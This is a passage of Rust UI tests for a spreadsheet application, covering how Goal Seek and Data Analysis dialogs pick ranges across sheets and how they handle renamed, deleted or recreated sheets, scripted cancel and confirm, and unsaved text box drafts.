0})).unwrap(); + // 3 * A2 + 4 with A2 = 2 is 10; Goal Seek to 25 wants A2 = 7. + s.execute("cell.set", json!({"cell": "B5", "input": "='O''Brien Rates'!A2*3+4"})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + s +} + +/// Clicks the sheet tabs' "Next sheet" arrow, below the grid at the left. +fn next_sheet(h: &mut H) { + let grid = h.state().grid.rect.unwrap(); + click_at(h, egui::pos2(grid.left() + 44.0, grid.bottom() + 16.0)); +} + +#[test] +fn ok_after_a_cross_sheet_pick_runs_goal_seek_with_the_quoted_sheet_name() { + let mut h = harness(quoted_sheet()); + open_goal_seek(&mut h); + assert_eq!(field(&h, "set"), "B5"); + click_button(&mut h, "Collapse dialog", 1); + next_sheet(&mut h); + assert_eq!(selection(&h).0, 1); + drag(&mut h, "A2", "A2"); + assert_eq!(field(&h, "changing"), "'O''Brien Rates'!$A$2", "quoted as the command's parser reads it"); + key(&mut h, Key::Escape, Modifiers::NONE); + let to = dialog_boxes(&h)[1]; + click_at(&mut h, to.center()); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "25"); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none(), "{:?}", h.state().message); + let wb = &h.state().session.active().unwrap().wb; + let a2 = wb.sheets[1].value(CellRef::parse("A2").unwrap()); + assert!((a2.as_f64().unwrap() - 7.0).abs() < 1e-6, "the changing cell on the other sheet: {a2:?}"); + let b5 = wb.sheets[0].value(CellRef::parse("B5").unwrap()); + assert!((b5.as_f64().unwrap() - 25.0).abs() < 1e-6, "{b5:?}"); + assert_eq!(selection(&h), (0, "B5".into()), "back on the dialog's sheet and selection"); +} + +#[test] +fn data_analysis_runs_on_a_range_picked_on_another_sheet() { + let mut h = harness(quoted_sheet()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 0); + next_sheet(&mut h); + drag(&mut h, "A1", "A6"); + assert_eq!(field(&h, "range"), "'O''Brien Rates'!$A$1:$A$6"); + key(&mut h, Key::Escape, Modifiers::NONE); + let d = h.state_mut().dialog.as_mut().unwrap(); + d.values.insert("outputTo".into(), json!("range")); + d.values.insert("output".into(), json!("$H$1")); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none(), "{:?}", h.state().message); + // The report is on the dialog's own sheet and read the other sheet's numbers: the mean of + // 1..6 is 21 / 6 = 3.5. + let wb = &h.state().session.active().unwrap().wb; + let report = &wb.sheets[0]; + let mean = (0..20).find_map(|row| { + let label = report.value(CellRef::new(row, 7)); + (label.as_text().map(str::trim) == Some("Mean")).then(|| report.value(CellRef::new(row, 8))) + }); + assert_eq!(mean.and_then(|v| v.as_f64()), Some(3.5), "{:?}", (0..20).map(|r| report.value(CellRef::new(r, 7))).collect::>()); + assert!(wb.sheets[1].value(CellRef::parse("H1").unwrap()).is_empty(), "nothing was written on the picked sheet"); +} + +#[test] +fn enter_while_collapsed_only_expands_the_dialog() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + let to = dialog_boxes(&h)[1]; + click_at(&mut h, to.center()); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "25"); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "B2", "B2"); + assert_eq!(field(&h, "changing"), "$B$2"); + assert!(h.query_by_label(" OK ").is_none(), "the collapsed dialog shows no OK button"); + let b2 = |h: &H| h.state().session.active().unwrap().wb.active().unwrap().value(CellRef::parse("B2").unwrap()).as_f64(); + let undo_steps = |h: &H| h.state().session.active().unwrap().undo.len(); + let steps = undo_steps(&h); + key(&mut h, Key::Enter, Modifiers::NONE); + assert_eq!(collapsed(&h), None, "Enter expands the dialog"); + assert!(h.state().dialog.is_some(), "and doesn't close it"); + assert_eq!(b2(&h), Some(1.0), "Goal Seek did not run"); + assert_eq!(undo_steps(&h), steps, "no undo step was added"); + // OK is what runs it. + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none()); + assert!((b2(&h).unwrap() - 7.0).abs() < 1e-6); + assert_eq!(undo_steps(&h), steps + 1); +} + +#[test] +fn a_successful_analysis_to_a_new_sheet_leaves_that_sheet_active() { + let mut h = harness(workbook()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 0); + drag(&mut h, "B1", "B6"); + assert_eq!(field(&h, "range"), "$B$1:$B$6"); + key(&mut h, Key::Escape, Modifiers::NONE); + assert_eq!(field(&h, "outputTo"), "newSheet", "New Worksheet Ply is the default output"); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none(), "{:?}", h.state().message); + // The command added the report sheet and showed it; closing the dialog must not go back to + // the sheet it was opened on, as Excel shows the new sheet. + assert_eq!(sheet_names(&h).len(), 2); + assert_eq!(selection(&h).0, 1, "the report sheet stays active"); +} + +#[test] +fn a_scripted_cancel_or_ok_goes_back_to_the_dialogs_sheet_like_the_buttons() { + // Cancel from the control channel puts the sheet and selection back. + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + next_sheet(&mut h); + drag(&mut h, "A2", "A2"); + assert_eq!(field(&h, "changing"), "Rates!$A$2"); + assert_eq!(selection(&h), (1, "A2".into())); + let r = control(&mut h, "ui.dialog.cancel", json!({})); + assert_eq!(r["ok"], json!(true), "{r}"); + assert!(h.state().dialog.is_none()); + assert_eq!(selection(&h), (0, "B5".into()), "a scripted cancel returns home as the button does"); + + // OK from the control channel runs the command on the dialog's sheet: `$H$1` means the sheet + // the dialog was opened on, not the sheet the box picked on. + let mut h = harness(quoted_sheet()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 0); + next_sheet(&mut h); + drag(&mut h, "A1", "A6"); + assert_eq!(field(&h, "range"), "'O''Brien Rates'!$A$1:$A$6"); + control(&mut h, "ui.dialog.set", json!({"field": "outputTo", "value": "range"})); + control(&mut h, "ui.dialog.set", json!({"field": "output", "value": "$H$1"})); + let r = control(&mut h, "ui.dialog.confirm", json!({})); + assert_eq!(r["ok"], json!(true), "{r}"); + assert!(h.state().dialog.is_none()); + let wb = &h.state().session.active().unwrap().wb; + assert!(!wb.sheets[0].value(CellRef::parse("H1").unwrap()).is_empty(), "the report is on the dialog's own sheet"); + assert!(wb.sheets[1].value(CellRef::parse("H1").unwrap()).is_empty(), "not on the sheet shown while picking"); + assert_eq!(selection(&h).0, 0); + + // A deleted dialog sheet refuses a scripted OK as it refuses the button (Goal Seek presses + // its own OK, so `ui.dialog.confirm` refuses it by design; Data Analysis has a command). + let mut h = harness(two_sheets()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 0); + h.state_mut().session.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + let r = control(&mut h, "ui.dialog.confirm", json!({})); + assert_eq!(r["ok"], json!(false), "{r}"); + assert!(r["error"].as_str().unwrap_or("").contains("was deleted"), "{r}"); + assert!(h.state().dialog.is_some(), "the dialog stays open"); +} + +#[test] +fn a_text_box_draft_is_saved_before_a_scripted_cancel_leaves_the_picked_sheet() { + let mut s = two_sheets(); + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + let id = + s.execute("insert.textBox", json!({"at": "B2", "width": 240, "height": 120, "text": "Rate note"})).unwrap()["shape"].as_u64().unwrap() as u32; + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + next_sheet(&mut h); + // The person starts editing the text box on the picked sheet (what its double-click does) + // and types a new note. + assert!(h.state_mut().begin_text_box_edit(id), "the text box is being edited"); + h.run_steps(3); + assert!(h.state().text_box_editor.is_some()); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "Picked note"); + assert_eq!(h.state().text_box_editor.as_ref().map(|ed| ed.text.as_str()), Some("Picked note")); + let shape_text = + |h: &H, sheet: usize| h.state().session.active().unwrap().wb.sheets[sheet].shapes.iter().find(|s| s.id == id).unwrap().text.clone(); + assert_eq!(shape_text(&h, 1), "Rate note", "not saved yet"); + // A scripted cancel leaves the sheet: the draft is saved first, as the ribbon's sheet switch + // saves it, instead of being stranded on a sheet that is no longer shown. + let r = control(&mut h, "ui.dialog.cancel", json!({})); + assert_eq!(r["ok"], json!(true), "{r}"); + assert!(h.state().text_box_editor.is_none(), "the draft was committed: {:?}", h.state().text_box_editor); + assert_eq!(shape_text(&h, 1), "Picked note"); + assert_eq!(selection(&h), (0, "B5".into())); + assert!(h.state().message.is_none(), "{:?}", h.state().message); +} + +/// `quoted_sheet()` with a text box on its second sheet and a third sheet, Scratch, so that a +/// draft of the text box can be left where it cannot be saved (see [`strand_a_draft`]). +fn draft_workbook() -> (Session, u32) { + let mut s = quoted_sheet(); + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + let id = + s.execute("insert.textBox", json!({"at": "D2", "width": 200, "height": 100, "text": "Rate note"})).unwrap()["shape"].as_u64().unwrap() as u32; + s.execute("home.insertSheet", json!({"name": "Scratch", "before": 2})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + (s, id) +} + +/// With the second sheet shown: starts editing its text box `id`, types a note, then has a +/// script show Scratch straight through the engine. The draft's worksheet is no longer the +/// active one, so it can't be saved, and showing the dialog's sheet again (which saves drafts +/// first) is refused. +fn strand_a_draft(h: &mut H, id: u32) { + assert!(h.state_mut().begin_text_box_edit(id)); + h.run_steps(3); + key(h, Key::A, Modifiers::COMMAND); + type_text(h, "Picked note"); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 2})).unwrap(); + h.run_steps(3); + assert_eq!(selection(h).0, 2); +} + +fn draft_text(h: &H) -> Option { + h.state().text_box_editor.as_ref().map(|ed| ed.text.clone()) +} + +#[test] +fn a_draft_that_cannot_be_saved_stops_a_confirm_after_a_cross_sheet_pick() { + let (s, id) = draft_workbook(); + let mut h = harness(s); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 0); + next_sheet(&mut h); + drag(&mut h, "A1", "A6"); + assert_eq!(field(&h, "range"), "'O''Brien Rates'!$A$1:$A$6"); + key(&mut h, Key::Escape, Modifiers::NONE); + control(&mut h, "ui.dialog.set", json!({"field": "outputTo", "value": "range"})); + control(&mut h, "ui.dialog.set", json!({"field": "output", "value": "$H$1"})); + strand_a_draft(&mut h, id); + let h1 = |h: &H, sheet: usize| h.state().session.active().unwrap().wb.sheets[sheet].value(CellRef::parse("H1").unwrap()); + + // The control channel's confirm: the dialog's sheet can't be shown again, so the command + // doesn't run anywhere (`$H$1` would have meant the sheet shown, Scratch). + let r = control(&mut h, "ui.dialog.confirm", json!({})); + assert_eq!(r["ok"], json!(false), "{r}"); + assert!(h.state().dialog.is_some(), "the dialog stays open"); + assert!(h.state().text_box_editor.is_some(), "the draft is kept"); + for sheet in 0..3 { + assert!(h1(&h, sheet).is_empty(), "no report on sheet {sheet}: {:?}", h1(&h, sheet)); + } + assert_eq!(selection(&h).0, 2, "still on the sheet shown"); + + // The window's OK: the same, with the reason shown. + h.state_mut().message = None; + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "the dialog stays open"); + assert!(h.state().message.is_some(), "the reason is shown"); + for sheet in 0..3 { + assert!(h1(&h, sheet).is_empty(), "no report on sheet {sheet}: {:?}", h1(&h, sheet)); + } + assert_eq!(h.state().text_box_editor.as_ref().map(|ed| ed.text.as_str()), Some("Picked note"), "the person's text is kept"); +} + +#[test] +fn a_scripted_cancel_with_an_unsavable_draft_keeps_the_dialog_until_it_can_go_home() { + let (s, id) = draft_workbook(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + next_sheet(&mut h); + drag(&mut h, "A2", "A2"); + assert_eq!(field(&h, "changing"), "'O''Brien Rates'!$A$2"); + key(&mut h, Key::Escape, Modifiers::NONE); + strand_a_draft(&mut h, id); + // The dialog's sheet can't be shown again: the script gets the reason, the dialog stays. + let r = control(&mut h, "ui.dialog.cancel", json!({})); + assert_eq!(r["ok"], json!(false), "{r}"); + assert!(h.state().dialog.is_some(), "the dialog stays open"); + assert_eq!(draft_text(&h).as_deref(), Some("Picked note"), "the draft is kept"); + assert_eq!(selection(&h).0, 2); + // Back on the draft's sheet, cancelling saves the draft and goes home. + h.state_mut().session.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + h.run_steps(3); + let r = control(&mut h, "ui.dialog.cancel", json!({})); + assert_eq!(r["ok"], json!(true), "{r}"); + assert!(h.state().dialog.is_none()); + assert_eq!(draft_text(&h), None, "the draft was saved"); + let text = h.state().session.active().unwrap().wb.sheets[1].shapes.iter().find(|s| s.id == id).unwrap().text.clone(); + assert_eq!(text, "Picked note"); + assert_eq!(selection(&h), (0, "B5".into())); +} + +#[test] +fn the_windows_cancel_with_an_unsavable_draft_closes_the_dialog_and_says_why() { + let (s, id) = draft_workbook(); + let mut h = harness(s); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + let title = h.state().dialog.as_ref().unwrap().title.clone(); + click_button(&mut h, "Collapse dialog", 0); + next_sheet(&mut h); + drag(&mut h, "A1", "A6"); + key(&mut h, Key::Escape, Modifiers::NONE); + strand_a_draft(&mut h, id); + h.get_by_label(" Cancel ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none(), "Cancel closes the dialog whatever the draft's state"); + let message = h.state().message.clone().unwrap_or_default(); + assert_eq!(message.0, title, "the dialog says why it could not go home: {message:?}"); + assert_eq!(draft_text(&h).as_deref(), Some("Picked note"), "the draft is kept"); + assert_eq!(selection(&h).0, 2, "the selection stays where it is"); + let wb = &h.state().session.active().unwrap().wb; + for sheet in 0..3 { + assert!(wb.sheets[sheet].value(CellRef::parse("H1").unwrap()).is_empty(), "nothing ran on sheet {sheet}"); + } +} + +#[test] +fn goal_seeks_cancel_with_an_unsavable_draft_closes_without_running() { + let (s, id) = draft_workbook(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + next_sheet(&mut h); + drag(&mut h, "A2", "A2"); + key(&mut h, Key::Escape, Modifiers::NONE); + // A To value OK would use, so a run by mistake would show on the other sheet's A2. + let to = dialog_boxes(&h)[1]; + click_at(&mut h, to.center()); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "25"); + strand_a_draft(&mut h, id); + h.get_by_label(" Cancel ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none(), "Cancel is not a confirmation: the dialog closes"); + let a2 = h.state().session.active().unwrap().wb.sheets[1].value(CellRef::parse("A2").unwrap()); + assert_eq!(a2.as_f64(), Some(2.0), "Goal Seek did not run: {a2:?}"); + assert_eq!(draft_text(&h).as_deref(), Some("Picked note"), "the draft is kept"); + let message = h.state().message.clone().unwrap_or_default(); + assert_eq!(message.0, "Goal Seek", "the reason is shown: {message:?}"); + assert_eq!(selection(&h).0, 2); +} + +#[test] +fn a_sheet_deleted_and_another_inserted_in_one_batch_is_not_taken_for_a_rename() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // One script batch, between two frames: the dialog's sheet goes and another takes its place, + // which leaves the name list the same length with one entry changed, as a rename would. + let s = &mut h.state_mut().session; + s.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + s.execute("home.insertSheet", json!({"name": "Fresh", "before": 0})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Fresh", "Rates"]); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "Fresh!$C$3", "the new sheet is not the dialog's own: picks carry its name"); + key(&mut h, Key::Escape, Modifiers::NONE); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "OK is refused"); + let message = h.state().message.as_ref().map(|m| m.1.clone()).unwrap_or_default(); + assert!(message.contains("was deleted"), "{message}"); + h.state_mut().message = None; + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none()); + assert_eq!(selection(&h), (0, "C3".into()), "cancelling does not put the old selection onto the new sheet"); +} + +#[test] +fn undoing_and_redoing_the_dialogs_sheets_rename_still_follow_it() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + h.state_mut().session.execute("sheet.rename", json!({"sheet": 0, "name": "Model"})).unwrap(); + h.run_steps(3); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "$C$3", "renamed, still the dialog's own sheet"); + // Undo brings the old name back; redo the new one: both are recorded steps that rename. + h.state_mut().session.execute("edit.undo", json!({})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h)[0], "Sheet1"); + drag(&mut h, "C4", "C4"); + assert_eq!(field(&h, "changing"), "$C$4"); + h.state_mut().session.execute("edit.redo", json!({})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h)[0], "Model"); + drag(&mut h, "C5", "C5"); + assert_eq!(field(&h, "changing"), "$C$5"); + key(&mut h, Key::Escape, Modifiers::NONE); + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none()); + assert_eq!(selection(&h), (0, "B5".into()), "cancelling returns to the renamed sheet and its selection"); +} + +/// Types 25 into To value and presses OK, which runs Goal Seek on the dialog's sheet: B5 = B2 * 3 +/// + 4 = 25 wants B2 = 7 there. +fn ok_to_25(h: &mut H) { + let to = dialog_boxes(h)[1]; + click_at(h, to.center()); + key(h, Key::A, Modifiers::COMMAND); + type_text(h, "25"); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none(), "{:?}", h.state().message); +} + +/// The sheet shown, at `index`, carries the dialog's sheet's name but is another sheet: picks on +/// it carry its name, OK is refused with the "was deleted" message and runs nothing, and Cancel +/// leaves the selection on it where it is. +fn replacement_is_refused(h: &mut H, index: usize) { + drag(h, "C3", "C3"); + assert_eq!(field(h, "changing"), "Sheet1!$C$3", "the new sheet is not the dialog's own: picks carry its name"); + key(h, Key::Escape, Modifiers::NONE); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "OK is refused"); + let message = h.state().message.as_ref().map(|m| m.1.clone()).unwrap_or_default(); + assert!(message.contains("was deleted"), "{message}"); + let b2 = h.state().session.active().unwrap().wb.sheets[index].value(CellRef::parse("B2").unwrap()); + assert!(b2.is_empty(), "Goal Seek changed nothing on the new sheet: {b2:?}"); + h.state_mut().message = None; + key(h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none()); + assert_eq!(selection(h), (index, "C3".into()), "cancelling does not put the old selection onto the new sheet"); +} + +#[test] +fn a_sheet_deleted_and_recreated_under_its_own_name_is_not_the_dialogs_sheet() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // One script batch, between two frames: the dialog's sheet goes and a new sheet is given its + // name, so a sheet called Sheet1 is there as before. + let s = &mut h.state_mut().session; + s.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + s.execute("home.insertSheet", json!({"name": "Sheet1"})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Rates", "Sheet1"]); + assert_eq!(selection(&h).0, 1, "the new sheet is shown"); + replacement_is_refused(&mut h, 1); +} + +#[test] +fn a_scripted_cancel_says_when_the_dialogs_sheet_was_deleted_even_if_its_name_was_reused() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + let s = &mut h.state_mut().session; + s.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + s.execute("home.insertSheet", json!({"name": "Sheet1", "before": 0})).unwrap(); + h.run_steps(3); + // A sheet called Sheet1 is shown, but it is not the dialog's: cancel says so, so a script + // does not go on to run data.goalSeek against it. + let r = control(&mut h, "ui.dialog.cancel", json!({})); + assert_eq!(r["ok"], json!(true), "{r}"); + assert_eq!(r["result"], json!({"sheetDeleted": true}), "{r}"); + assert!(h.state().dialog.is_none()); + // A dialog whose sheet is still there replies null, as before. + open_goal_seek(&mut h); + let r = control(&mut h, "ui.dialog.cancel", json!({})); + assert_eq!(r["result"], json!(null), "{r}"); +} + +#[test] +fn a_sheet_recreated_under_its_own_name_at_its_old_index_is_not_the_dialogs_sheet() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // The new sheet takes the old one's name and index: the sheet list reads exactly as before. + let s = &mut h.state_mut().session; + s.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + s.execute("home.insertSheet", json!({"name": "Sheet1", "before": 0})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Sheet1", "Rates"]); + assert_eq!(selection(&h).0, 0); + replacement_is_refused(&mut h, 0); +} + +#[test] +fn a_sheet_recreated_under_its_own_name_among_inserted_and_moved_sheets_is_not_the_dialogs_sheet() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + let s = &mut h.state_mut().session; + s.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + s.execute("home.insertSheet", json!({"name": "Extra", "before": 0})).unwrap(); + s.execute("home.insertSheet", json!({"name": "Sheet1", "before": 1})).unwrap(); + s.execute("sheet.move", json!({"sheet": 2, "to": 0})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 2})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Rates", "Extra", "Sheet1"]); + replacement_is_refused(&mut h, 2); +} + +#[test] +fn undoing_the_deletion_of_the_dialogs_sheet_brings_it_back_and_redoing_takes_it_again() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + h.state_mut().session.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + drag(&mut h, "A2", "A2"); + assert_eq!(field(&h, "changing"), "Rates!$A$2", "deleted: picks carry the sheet name"); + // Undo brings the very sheet back: it is the dialog's own again. + h.state_mut().session.execute("edit.undo", json!({})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Sheet1", "Rates"]); + assert_eq!(selection(&h).0, 0); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "$C$3", "restored by undo, the sheet is the dialog's own"); + // Redo deletes it again: OK is refused. + h.state_mut().session.execute("edit.redo", json!({})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Rates"]); + drag(&mut h, "A3", "A3"); + assert_eq!(field(&h, "changing"), "Rates!$A$3"); + key(&mut h, Key::Escape, Modifiers::NONE); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "OK is refused"); + let message = h.state().message.as_ref().map(|m| m.1.clone()).unwrap_or_default(); + assert!(message.contains("was deleted"), "{message}"); + h.state_mut().message = None; + // Undone once more, OK works and resolves on the restored sheet. + h.state_mut().session.execute("edit.undo", json!({})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Sheet1", "Rates"]); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "B2", "B2"); + assert_eq!(field(&h, "changing"), "$B$2"); + key(&mut h, Key::Escape, Modifiers::NONE); + ok_to_25(&mut h); + // B5 = B2 * 3 + 4 = 25 wants B2 = 7. + let b2 = h.state().session.active().unwrap().wb.sheets[0].value(CellRef::parse("B2").unwrap()); + assert!((b2.as_f64().unwrap() - 7.0).abs() < 1e-6, "Goal Seek ran on the restored sheet: {b2:?}"); + assert_eq!(selection(&h), (0, "B5".into()), "back on the dialog's sheet and selection"); +} + +#[test] +fn a_new_sheet_given_the_dialogs_sheets_old_name_is_not_taken_for_it() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + h.state_mut().session.execute("sheet.rename", json!({"sheet": 0, "name": "Model"})).unwrap(); + h.run_steps(3); + h.state_mut().session.execute("home.insertSheet", json!({"name": "Sheet1", "before": 2})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Model", "Rates", "Sheet1"]); + assert_eq!(selection(&h).0, 2, "the new sheet is shown"); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "Sheet1!$C$3", "the new Sheet1 is not the dialog's sheet"); + // The dialog's sheet is Model: picks there are unqualified, and OK resolves against it. + h.state_mut().session.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + drag(&mut h, "B2", "B2"); + assert_eq!(field(&h, "changing"), "$B$2"); + key(&mut h, Key::Escape, Modifiers::NONE); + ok_to_25(&mut h); + let wb = &h.state().session.active().unwrap().wb; + // B5 = B2 * 3 + 4 = 25 wants B2 = 7, on Model. + let b2 = wb.sheets[0].value(CellRef::parse("B2").unwrap()); + assert!((b2.as_f64().unwrap() - 7.0).abs() < 1e-6, "{b2:?}"); + assert!(wb.sheets[2].value(CellRef::parse("B2").unwrap()).is_empty(), "the new Sheet1 is untouched"); + assert_eq!(selection(&h), (0, "B5".into())); +} + +/// `two_sheets`, saved as xlsx and opened again, so that its sheets carry the file's sheet ids +/// (which a copy of a sheet keeps). +fn two_sheets_from_file() -> Session { + let mut s = two_sheets(); + let saved = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap(); + s.execute("file.open", json!({"name": "Book.xlsx", "base64": saved["base64"]})).unwrap(); + assert!(s.active().unwrap().wb.sheets.iter().all(|sh| sh.file_id != 0), "the sheets came from a file"); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + s +} + +#[test] +fn one_undo_step_that_deletes_and_recreates_the_dialogs_sheet_is_not_the_dialogs_sheet() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // One recorded step (a macro's undo group, say): the sheet list reads as before, and only the + // identity of the new Sheet1 tells it from the dialog's sheet. + h.state_mut() + .session + .grouped("Replace Sheet1", |s| { + s.execute("home.deleteSheet", json!({"sheet": 0}))?; + s.execute("home.insertSheet", json!({"name": "Sheet1", "before": 0})) + }) + .unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Sheet1", "Rates"]); + let undo_len = h.state().session.active().unwrap().undo.len(); + assert_eq!(undo_len, two_sheets().active().unwrap().undo.len() + 1, "one undo step"); + replacement_is_refused(&mut h, 0); +} + +#[test] +fn one_undo_step_that_replaces_an_empty_sheet_is_not_taken_for_a_rename() { + let mut s = two_sheets(); + // The dialog's sheet is Rates, which has no cells, as a sheet inserted in its place has none. + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + h.state_mut() + .session + .grouped("Replace Rates", |s| { + s.execute("home.deleteSheet", json!({"sheet": 1}))?; + s.execute("home.insertSheet", json!({"name": "Fresh", "before": 1})) + }) + .unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Sheet1", "Fresh"], "same count, one name changed at the sheet's index, no cells either side"); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "Fresh!$C$3", "another sheet: not a rename"); + key(&mut h, Key::Escape, Modifiers::NONE); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "OK is refused"); + let message = h.state().message.as_ref().map(|m| m.1.clone()).unwrap_or_default(); + assert!(message.contains("was deleted"), "{message}"); +} + +#[test] +fn one_undo_step_that_renames_the_dialogs_sheet_and_reuses_its_old_name_follows_the_rename() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // One recorded step: the dialog's sheet becomes Model and a new sheet takes its old name. + // The sheet's identity finds it under the new name. + h.state_mut() + .session + .grouped("Rename and insert", |s| { + s.execute("sheet.rename", json!({"sheet": 0, "name": "Model"}))?; + s.execute("home.insertSheet", json!({"name": "Sheet1", "before": 2})) + }) + .unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Model", "Rates", "Sheet1"]); + assert_eq!(selection(&h).0, 2, "the new sheet is shown"); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "Sheet1!$C$3", "the new Sheet1 is not the dialog's sheet"); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + drag(&mut h, "B2", "B2"); + assert_eq!(field(&h, "changing"), "$B$2", "Model is the dialog's sheet"); + key(&mut h, Key::Escape, Modifiers::NONE); + ok_to_25(&mut h); + let wb = &h.state().session.active().unwrap().wb; + let b2 = wb.sheets[0].value(CellRef::parse("B2").unwrap()); + assert!((b2.as_f64().unwrap() - 7.0).abs() < 1e-6, "Goal Seek ran on Model: {b2:?}"); + assert!(wb.sheets[2].value(CellRef::parse("B2").unwrap()).is_empty(), "the new Sheet1 is untouched"); + assert_eq!(selection(&h), (0, "B5".into())); +} + +#[test] +fn solver_options_end_picking_into_a_box_the_view_hides() { + let mut h = harness(workbook()); + h.state_mut().open_dialog("solver", json!({})); + h.run_steps(4); + click_button(&mut h, 